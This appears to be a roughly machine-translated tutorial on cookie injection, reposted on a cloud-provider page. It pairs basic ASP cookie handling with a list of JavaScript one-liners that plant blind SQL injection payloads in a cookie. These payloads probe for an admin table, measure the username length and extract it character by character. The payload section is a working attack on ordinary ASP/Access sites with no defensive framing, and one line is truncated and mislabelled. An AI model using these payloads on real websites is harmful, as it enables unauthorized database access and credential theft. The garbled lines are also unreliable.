Cookie injection details and instructions

Source: Internet
Author: User

What is Cookies? Cookies are data packets that enable the webpage to have a memory function and remember certain information on a computer. Cookies are written to the client system for the first time. Every time you access this webpage in the future, the client sends Cookies to the server first, and then the server determines, and then generates HTML code and returns it to the client. This is a very important principle. For more information about the concepts of server and client, click here: what are server and client? Two instances are provided.
  
Take note of the most common methods of Cookies in ASP:
  
1. How to Write Cookies?
Response. Cookies ("field name") = variables or strings, for example:
Response. Cookies ("name2") = "Dingdang"
  
2. How do I set the cookie time?
Response. Cookies ("field name"). expires = Time Function + N, for example:
Response. Cookies ("name2"). expires = date + 1, indicating that Cookies are stored for one day. For example:
Response. Cookies ("name2"). expires = Hour + 8, indicating that Cookies are stored for 8 hours.
  
3. In the past ASP tutorials, there were few methods to exit Cookies. On the "exit" ASP page, you can write as follows:
Response. Cookies ("field name") = ""
Then, the Cookies are cleared in the client browser and the Cookies will disappear. Note how many fields should be written to clear them.
  
4. How to read Cookies?
Variable name = Request. Cookies ("field name"), for example:
Name2 = Request. Cookies ("name2 ")
If <% = name2 %> is written to the webpage, "Dingdang" is displayed ".
You can also directly read Cookies. <% = Request. Cookies ("name2") %>
  
Cookies are a type of Session objects. However, Cookies do not occupy server resources, whereas Session occupies server resources. Therefore, use Cookies instead of Session.
  
Command:
  
Javascript: alert (document. cookie = "id =" + escape ("156 and 1 = 1 "));
Javascript: alert (document. cookie = "id =" + escape ("26 and (select count (*) from admin)> 0 "));
// Check whether the admin table exists.
Javascript: alert (document. cookie = "id =" + escape ("26 and (select count (username) from admin)> 0 "));
// Check whether the username table exists.
Javascript: alert (document. cookie = "id =" + escape ("40 and (select len (username) from admin) = 5 "));
// Check whether the administrator password is five characters long
Javascript: alert (document. cookie = "id =" + escape ("26 and (select top 1 asc (mid (username, 1, 1) from admin) = 97 "));
// Whether the first digit is ASC code 97, which is equivalent to
Javascript: alert (document. cookie = "targetID =" + escape ("108 and (select top 1 unicode (substring (user, 111) from admin) = "));
Javascript: alert (document. cookie = "id =" + escape ("26 and (select top 1 asc (mid (username, 2, 1) from admin) = 97 "));
// Second place
Javascript: alert (document. cookie = "targetID =" + escape ("108 and (select count (*) from msysobjects)> 0 "));
// View the system table

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.